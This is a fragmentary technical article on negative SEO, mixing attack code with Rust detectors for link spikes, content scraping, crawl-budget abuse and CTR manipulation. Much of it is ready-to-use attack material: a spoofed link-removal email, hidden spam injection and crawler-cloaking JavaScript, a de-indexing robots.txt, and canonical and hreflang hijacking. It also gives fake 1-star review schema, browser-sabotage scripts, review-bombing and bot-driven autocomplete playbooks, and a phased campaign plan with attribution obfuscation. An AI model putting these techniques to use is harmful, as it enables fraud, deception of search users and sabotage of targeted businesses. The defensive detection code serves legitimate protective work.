Negative SEO: A Technical Deep Dive into Search Ranking Manipulation

Link Distribution Attack Pattern:
├── "cheap furniture store" → 15,000 links
├── "buy discount sofas" → 12,000 links
├── "example-furniture-store.com" → 8,000 links
├── "viagra cheap pills" → 5,000 links (brand association attack)
├── "online casino furniture" → 5,000 links (topical dilution)
└── [Various adult keywords] → 5,000 links (brand reputation attack)

server {
    listen 80;
    server_name penalized-spam-site.com;
    return 301 https://example-furniture-store.com$request_uri;
}

RewriteEngine On
RewriteRule ^(.*)$ https://example-furniture-store.com/$1 [R=301,L]

From: webmaster@examp1e-furniture-store.com (spoofed/typosquat domain)
To: editor@legitimate-home-magazine.com
Subject: Link Removal Request

Dear Editor,

We are conducting a comprehensive link audit and have identified that
the link from your website to ours no longer aligns with our current
linking strategy.

We kindly request the removal of the link...

/// Analyzes link patterns to detect potential negative SEO attacks
pub struct LinkVelocityAnalyzer {
    baseline_daily_links: f64,
    alert_threshold_multiplier: f64,
    suspicious_tlds: Vec<String>,
}

impl LinkVelocityAnalyzer {
    pub fn new(baseline: f64) -> Self {
        Self {
            baseline_daily_links: baseline,
            alert_threshold_multiplier: 5.0,
            suspicious_tlds: vec![
                ".ru", ".cn", ".xyz", ".info", ".top", ".pw",
                ".tk", ".ml", ".ga", ".cf", ".gq"
            ].into_iter().map(String::from).collect(),
        }
    }

    /// Detects anomalies in link velocity
    pub fn detect_anomaly(&self, current_velocity: f64) -> AnomalyResult {
        let threshold = self.baseline_daily_links * self.alert_threshold_multiplier;

        if current_velocity > threshold {
            AnomalyResult::Alert {
                severity: if current_velocity > threshold * 2.0 {
                    Severity::Critical
                } else {
                    Severity::High
                },
                message: format!(
                    "Link velocity spike detected: {} links/day (baseline: {})",
                    current_velocity, self.baseline_daily_links
                ),
                recommended_action: "Initiate immediate backlink audit".to_string(),
            }
        } else {
            AnomalyResult::Normal
        }
    }
}

├── Domain Acquisition Layer
│   ├── Expired domains with spam history
│   ├── Domains penalized by Google
│   ├── Domains from malware-flagged hosts
│   └── Domains with adult/gambling backlinks
│
├── Hosting Distribution
│   ├── Multiple cheap hosting providers
│   ├── Different IP ranges (C-class diversity)
│   ├── Various geographic locations
│   └── Mix of shared and VPS hosting
│
├── Content Layer
│   ├── Auto-generated gibberish
│   ├── Scraped/spun content
│   ├── Foreign language spam
│   └── Keyword-stuffed pages
│
└── Link Injection
    ├── Contextual links within spam content
    ├── Sidebar/footer links
    ├── Comment spam integration
    └── Automated posting schedules

/// Detects content scraping and duplication attacks
pub struct ContentScrapingDetector {
    known_content: HashMap<String, ContentFingerprint>,
    similarity_threshold: f64,
}

impl ContentScrapingDetector {
    pub fn new() -> Self {
        Self {
            known_content: HashMap::new(),
            similarity_threshold: 0.85,
        }
    }

    /// Generates a content fingerprint for comparison
    pub fn generate_fingerprint(&self, url: &str, content: &str, title: &str) -> ContentFingerprint {
        let mut hasher = Sha256::new();
        hasher.update(content.as_bytes());
        let hash = format!("{:x}", hasher.finalize());

        ContentFingerprint {
            url: url.to_string(),
            content_hash: hash,
            title: title.to_string(),
            word_count: content.split_whitespace().count(),
            first_seen: Utc::now(),
            canonical_url: None,
        }
    }

    /// Checks if content appears to be scraped from registered originals
    pub fn detect_scraping(&self, candidate: &ContentFingerprint) -> ScrapingDetectionResult {
        // Exact hash match - definite copy
        if let Some(original) = self.known_content.get(&candidate.content_hash) {
            return ScrapingDetectionResult::ExactCopy {
                original_url: original.url.clone(),
                original_date: original.first_seen,
                confidence: 1.0,
            };
        }
        // ... similarity checking logic
    }
}

<!-- Hidden spam content injection -->
<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;">
    <h1>Buy Cheap Viagra Online</h1>
    <p>Best casino games and pharmaceutical products available at
       unbeatable prices.</p>
    <a href="https://spam-pharmacy.com">cheap medications online</a>
    <a href="https://spam-casino.com">best online casino games</a>
</div>

<style>
.spam-injection {
    color: #ffffff; /* White text on white background */
    font-size: 1px;
    line-height: 0;
}
</style>
<div class="spam-injection">
    <!-- Spam content here - visible to crawlers, invisible to users -->
</div>

// Sophisticated cloaking - serves different content to search engines
(function() {
    // Detect search engine crawlers via various methods
    const isBot = /googlebot|bingbot|slurp|duckduckbot/i.test(navigator.userAgent);

    // Check for headless browser indicators
    const isHeadless = navigator.webdriver ||
                       !window.chrome ||
                       !navigator.plugins.length;

    if (isBot || isHeadless) {
        // Inject spam content only for search engines
        document.body.innerHTML += `
            <div id="seo-spam">
                <h2>Cheap Medications Online</h2>
                <a href="https://spam-site.com">Buy Now</a>
            </div>
        `;
    }
})();

/// Detects potential AI-generated negative content
pub struct AIContentDetector {
    target_brand: String,
    negative_keywords: HashSet<String>,
}

impl AIContentDetector {
    pub fn new(brand: &str) -> Self {
        let negative_keywords: HashSet<String> = [
            "scam", "fraud", "terrible", "worst", "avoid",
            "ripoff", "dishonest", "warning", "complaint", "lawsuit"
        ].iter().map(|s| s.to_string()).collect();

        Self {
            target_brand: brand.to_string(),
            negative_keywords,
        }
    }

    /// Analyzes content for AI generation indicators
    pub fn analyze_content(&self, content: &str) -> ContentAnalysisResult {
        let characteristics = self.extract_characteristics(content);

        let mut risk_factors = Vec::new();
        let mut risk_score = 0.0;

        // Check brand mention density
        let brand_mentions = content.to_lowercase()
            .matches(&self.target_brand.to_lowercase())
            .count();
        let word_count = content.split_whitespace().count();
        let mention_density = brand_mentions as f64 / word_count as f64;

        if mention_density > 0.05 {
            risk_factors.push("Abnormally high brand mention density".to_string());
            risk_score += 0.3;
        }

        // Check negative keyword density
        let negative_count: usize = self.negative_keywords.iter()
            .map(|kw| content.to_lowercase().matches(kw).count())
            .sum();
        let negative_density = negative_count as f64 / word_count as f64;

        if negative_density > 0.03 {
            risk_factors.push("High concentration of negative keywords".to_string());
            risk_score += 0.4;
        }
        // ... additional analysis
    }
}

├── Platform Selection (High DA Sites)
│   ├── Medium.com articles
│   ├── LinkedIn posts/articles
│   ├── Reddit threads
│   ├── Quora answers
│   ├── GitHub pages/repositories
│   └── Google Sites pages
│
├── Content Strategy
│   ├── "[Target Brand] Scam Warning"
│   ├── "[Target Brand] Reviews - What They Don't Tell You"
│   ├── "Why I Stopped Using [Target Brand]"
│   ├── "[Target Brand] vs Competitors - Honest Comparison"
│   └── "[Target Brand] Complaints and Issues"
│
└── SEO Optimization
    ├── Target brand keywords
    ├── Long-tail negative queries
    ├── Internal linking between parasitic content
    └── Social signals to boost ranking

├── Parameter URL Generation
│   └── example-furniture-store.com/product?id=1&fake=random1
│   └── example-furniture-store.com/product?id=1&fake=random2
│   └── example-furniture-store.com/product?id=1&fake=random3
├── Infinite Loop URL Structures
│   └── /category/subcategory/category/subcategory/...
│   └── /tag/furniture/tag/chairs/tag/furniture/...
├── Session ID URL Forcing
│   └── ?sessionid=abc123, ?sessionid=abc124, ...
├── Sorting/Filtering Parameter Abuse
│   └── ?sort=price&order=asc&page=1&filter=red&size=large...
└── Calendar/Date Parameter Exploitation
    └── /events?date=2026-01-01, /events?date=2026-01-02, ...

/// Tracks and analyzes URL patterns for crawl budget attacks
pub struct CrawlBudgetDefender {
    url_patterns: HashMap<String, usize>,
    parameter_frequency: HashMap<String, usize>,
    suspicious_patterns: Vec<Regex>,
    time_window: Duration,
    window_start: Instant,
    alert_threshold: usize,
}

impl CrawlBudgetDefender {
    pub fn new() -> Self {
        let suspicious_patterns = vec![
            Regex::new(r"\?.*&.*&.*&.*&").unwrap(), // Multiple parameters
            Regex::new(r"(category|tag)/.*\1/").unwrap(), // Recursive paths
            Regex::new(r"sessionid=|sid=|PHPSESSID=").unwrap(), // Session IDs
            Regex::new(r"page=\d{4,}").unwrap(), // Extreme pagination
            Regex::new(r"[a-f0-9]{32,}").unwrap(), // Random hashes in URL
        ];
        // ... initialization
    }

    /// Analyzes incoming URL for potential crawl budget attack
    pub fn analyze_url(&mut self, url: &str, user_agent: &str) -> UrlAnalysisResult {
        // Reset window if needed
        if self.window_start.elapsed() > self.time_window {
            self.reset_window();
        }

        let mut risk_indicators = Vec::new();
        let mut risk_score = 0.0;

        // Check if request is from a known crawler
        let is_crawler = self.is_search_crawler(user_agent);
        // ... analysis logic
    }

    /// Generates robots.txt rules to block detected attack patterns
    pub fn generate_robots_rules(&self) -> String {
        let mut rules = String::from("# Auto-generated rules for crawl budget protection\n");
        rules.push_str("User-agent: *\n");

        // Block high-frequency suspicious patterns
        for (pattern, count) in &self.url_patterns {
            if *count > self.alert_threshold {
                rules.push_str(&format!("Disallow: {}*\n", pattern));
            }
        }
        // ... additional rule generation
    }
}

# Malicious robots.txt modification
# This would cause complete de-indexing if left in place

User-agent: *
Disallow: /

User-agent: Googlebot
Disallow: /products/
Disallow: /categories/
Disallow: /blog/
Disallow: /about/
Disallow: /contact/

# Or more subtle - block only high-value pages
User-agent: Googlebot
Disallow: /best-selling/
Disallow: /featured-products/
Disallow: /sale/

# Crawl-delay abuse - slows indexing dramatically
User-agent: *
Crawl-delay: 3600

<!-- Original canonical (correct) -->
<link rel="canonical" href="https://example-furniture-store.com/sofas/leather-sofa" />

<!-- Malicious canonical (injected) -->
<link rel="canonical" href="https://competitor-store.com/sofas/leather-sofa" />

<!-- Or pointing to spam sites -->
<link rel="canonical" href="https://spam-site.com/random-page" />

<!-- Legitimate hreflang setup -->
<link rel="alternate" hreflang="en-us" href="https://example-furniture-store.com/en-us/" />
<link rel="alternate" hreflang="en-gb" href="https://example-furniture-store.com/en-gb/" />
<link rel="alternate" hreflang="de" href="https://example-furniture-store.com/de/" />
<link rel="alternate" hreflang="x-default" href="https://example-furniture-store.com/" />

<!-- Malicious hreflang injection -->
<link rel="alternate" hreflang="en-us" href="https://spam-site.com/page" />
<link rel="alternate" hreflang="en-gb" href="https://spam-site2.com/page" />
<link rel="alternate" hreflang="de" href="https://competitor-site.com/de/page" />
<link rel="alternate" hreflang="x-default" href="https://phishing-site.com/" />

{
    "@context": "https://schema.org",
    "@type": "Product",
    "name": "Leather Sofa",
    "description": "SCAM ALERT - This product is fraudulent",
    "aggregateRating": {
        "@type": "AggregateRating",
        "ratingValue": "1",
        "reviewCount": "10000"
    },
    "review": {
        "@type": "Review",
        "reviewRating": {
            "@type": "Rating",
            "ratingValue": "1"
        },
        "author": {
            "@type": "Person",
            "name": "Scam Victim"
        },
        "reviewBody": "This company is a complete scam. They stole my money and never delivered the product."
    }
}

// If attacker gains access to inject JavaScript

// 1. Degrade Largest Contentful Paint (LCP)
// Inject large, slow-loading resources
const slowImage = new Image();
slowImage.src = 'https://slow-server.com/10mb-image.jpg?' + Math.random();
document.body.appendChild(slowImage);

// 2. Cause Cumulative Layout Shift (CLS)
// Inject elements that cause layout shifts
setInterval(() => {
    const shifter = document.createElement('div');
    shifter.style.height = Math.random() * 100 + 'px';
    shifter.innerHTML = ' ';
    document.body.insertBefore(shifter, document.body.firstChild);
    setTimeout(() => shifter.remove(), 100);
}, 1000);

// 3. Block First Input Delay (FID) / Interaction to Next Paint (INP)
// Heavy JavaScript execution blocking main thread
setInterval(() => {
    const start = Date.now();
    while (Date.now() - start < 500) {
        // Busy loop blocking main thread
        Math.random() * Math.random();
    }
}, 2000);

// 4. Memory leak injection
// Gradually consume browser memory
let memoryLeak = [];
setInterval(() => {
    memoryLeak.push(new Array(1000000).fill('leak'));
}, 5000);

├── Google Business Profile
│   ├── 50+ 1-star reviews over 2 weeks
│   ├── Keywords: "scam," "fraud," "terrible quality"
│   ├── Fake purchase details for credibility
│   └── Reviews from aged Google accounts (harder to remove)
├── Yelp
│   ├── Similar negative review pattern
│   └── Coordinated "not recommended" flags
├── Trustpilot
│   ├── Detailed fake negative reviews
│   └── Responses to legitimate positive reviews calling them "fake"
├── BBB Complaints
│   ├── Formal complaints requiring response
│   └── Time-consuming dispute process
├── Industry-Specific Platforms
│   ├── Houzz, HomeAdvisor (for furniture/home goods)
│   └── Niche review sites
└── Social Media
    ├── Facebook page review bombing
    ├── Twitter complaint threads
    └── Reddit posts in relevant subreddits

├── Pogo-sticking Simulation
│   └── Bot clicks target SERP result → immediately returns to SERP
│   └── Signals low user satisfaction to Google
│   └── Repeated across thousands of searches
├── Competitor CTR Boosting
│   └── Artificially inflate clicks on competitor results
│   └── Longer dwell times on competitor sites
│   └── Pushes target lower in relative rankings
├── Brand + Negative Keyword Searches
│   └── "example furniture store scam"
│   └── "example furniture store complaints"
│   └── "is example furniture store legit"
│   └── Creates negative autocomplete suggestions
└── SERP Feature Manipulation
    └── Click on "People also ask" negative questions
    └── Amplify negative related searches

/// Detects potential click-through rate manipulation attacks
pub struct CTRManipulationDetector {
    sessions: Vec<UserSession>,
    ip_frequency: HashMap<String, usize>,
    pogo_stick_threshold: Duration,
    suspicious_patterns: Vec<SuspiciousPattern>,
}

impl CTRManipulationDetector {
    pub fn new() -> Self {
        Self {
            sessions: Vec::new(),
            ip_frequency: HashMap::new(),
            pogo_stick_threshold: Duration::from_secs(5),
            suspicious_patterns: Vec::new(),
        }
    }

    /// Analyzes a session for manipulation indicators
    pub fn analyze_session(&mut self, session: &UserSession) -> SessionAnalysisResult {
        let mut indicators = Vec::new();
        let mut risk_score = 0.0;

        // Check for pogo-sticking behavior
        if let Some(exit) = session.exit_time {
            let session_duration = exit.duration_since(session.entry_time)
                .unwrap_or(Duration::ZERO);

            if session_duration < self.pogo_stick_threshold {
                indicators.push(ManipulationIndicator {
                    indicator_type: IndicatorType::ShortSession,
                    description: format!(
                        "Session duration of {:?} below threshold",
                        session_duration
                    ),
                    severity: Severity::High,
                });
                risk_score += 0.4;
            }
        }
        // ... additional analysis
    }
}

Target: Manipulate autocomplete for "example furniture store"

Attack Execution:
1. Coordinate bot network to search:
   - "example furniture store scam"
   - "example furniture store reviews complaints"
   - "example furniture store fraud"
   - "example furniture store out of business"
   - "example furniture store lawsuit"

2. Pattern requirements:
   - 1000+ unique IPs (residential proxies preferred)
   - Spread over 2-4 weeks
   - Mimic natural search behavior
   - Include click-through on results
   - Geographic distribution matching target market

3. Expected outcome:
   - Negative suggestions appear in autocomplete
   - Users see negative associations before visiting
   - Reduced click-through on brand searches
   - Long-term brand reputation damage

4. Amplification tactics:
   - Create content targeting these negative queries
   - Build links to negative content
   - Social media mentions of negative queries

├── Direct Effects
│   ├── Googlebot receives 5xx errors during crawl
│   ├── Pages removed from index if consistently unavailable
│   ├── Reduced crawl frequency allocated to site
│   └── Fresh content not discovered/indexed
├── User Signal Effects
│   ├── High bounce rate from users who can't access site
│   ├── Negative user experience signals
│   └── Reduced engagement metrics
├── Business Effects
│   ├── Lost sales during downtime
│   ├── Customer trust erosion
│   └── Negative reviews from frustrated customers
└── Recovery Time
    └── Rankings don't immediately recover after attack ends
    └── May take weeks to regain lost positions
    └── Competitors gain ground during downtime

├── Registrar Account Compromise
│   ├── Phishing registrar credentials
│   ├── Social engineering registrar support
│   └── Modify nameserver records
├── DNS Cache Poisoning
│   ├── Inject false records into resolver caches
│   └── Temporary redirection capabilities
├── BGP Hijacking (Advanced)
│   ├── Announce target's IP prefixes
│   └── Intercept traffic at network level
├── Subdomain Takeover
│   ├── Claim unconfigured subdomains
│   ├── Host malicious content on legitimate-looking URLs
│   └── Exploit dangling DNS records
└── Man-in-the-Middle
    ├── Intercept and modify DNS responses
    └── Requires network position

├── Phase 1: Reconnaissance (Week 1-2)
│   ├── Analyze target's backlink profile
│   ├── Identify high-value linking domains
│   ├── Map technical infrastructure
│   ├── Identify security vulnerabilities
│   ├── Profile business owners/employees
│   └── Gather intelligence on SEO strategy
│
├── Phase 2: Infrastructure Preparation (Week 2-4)
│   ├── Acquire expired domains in target niche
│   ├── Set up PBN infrastructure
│   ├── Create fake social media accounts
│   ├── Acquire residential proxy access
│   ├── Prepare content scraping systems
│   └── Establish review account farms
│
├── Phase 3: Initial Attack Waves (Week 4-8)
│   ├── Begin toxic link building (low volume)
│   ├── Start content scraping and distribution
│   ├── Launch review attack (trickle)
│   ├── Begin autocomplete manipulation
│   └── Social media negative campaigns
│
├── Phase 4: Escalation (Week 8-16)
│   ├── Accelerate link building
│   ├── Expand review attacks to more platforms
│   ├── Begin technical attacks if vulnerabilities found
│   ├── CTR manipulation campaigns
│   └── Link removal social engineering
│
├── Phase 5: Sustained Pressure (Ongoing)
│   ├── Maintain toxic link velocity
│   ├── Counter any cleanup efforts
│   ├── Adapt to target's defensive measures
│   └── Rotate attack vectors to avoid patterns
│
└── Attack Attribution Obfuscation
    ├── Multiple jurisdictions
    ├── Cryptocurrency payments
    ├── Proxy/VPN chains
    └── Plausible deniability structures

pub struct AlertThresholds {
    pub daily_new_links: usize,               // 500
    pub toxic_score_increase: f64,            // 10.0
    pub anchor_concentration: f64,            // 0.30 (30%)
    pub suspicious_tld_ratio: f64,             // 0.40 (40%)
    pub review_velocity: usize,                // 10 reviews
    pub content_similarity_threshold: f64,     // 0.85 (85%)
    pub uptime_minimum: f64,                    // 99.5%
}

pub enum ThreatType {
    ToxicLinkInjection,
    ContentScraping,
    CTRManipulation,
    ReviewBombing,
    CrawlBudgetExhaustion,
    TechnicalInjection,
    DNSAttack,
    DDoS,
    AutocompleteManipulation,
    SocialSignalPoisoning,
}

pub enum Severity {
    Low = 1,
    Medium = 2,
    High = 3,
    Critical = 4,
}